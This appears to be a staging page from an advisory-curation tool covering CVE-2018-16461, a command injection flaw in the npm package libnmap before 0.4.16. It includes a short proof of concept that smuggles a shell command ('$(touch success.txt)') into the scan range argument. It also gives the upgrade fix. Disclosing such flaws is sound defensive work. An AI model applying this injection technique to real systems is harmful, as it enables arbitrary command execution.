Staging Environment: Content and features may be unstable or change without notice.

Advisory Weakness Curation

CVE-2018-16461

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-7g2w-6r25-2j7p

Command Injection in libnmap Versions of `libnmap` before 0.4.16 are vulnerable to command injection. Proof of concept ```js const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err); for (let item in report) { console.log(JSON.stringify(report[item])); } }); ``` ## Recommendation Update to version 0.4.16 or later

gitlab/npm/libnmap/CVE-2018-16461

OS Command Injection A command injection vulnerability in libnmapp package allows arbitrary commands to be executed via arguments to the range options.